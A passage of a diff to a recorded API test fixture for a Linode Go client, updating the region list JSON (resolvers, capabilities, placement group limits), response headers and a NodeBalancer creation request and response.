172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228223}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,8 +313,8 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441134, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-86-41.ip.linodeusercontent.com", "ipv4": "172.232.86.41", "ipv6": "1234::5678", + body: '{"id": 694199, "label": "go-test-def", "region": "ap-west", "hostname": + "172-232-87-69.ip.linodeusercontent.com", "ipv4": "172.232.87.69", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: @@ -316,15 +329,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +354,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write 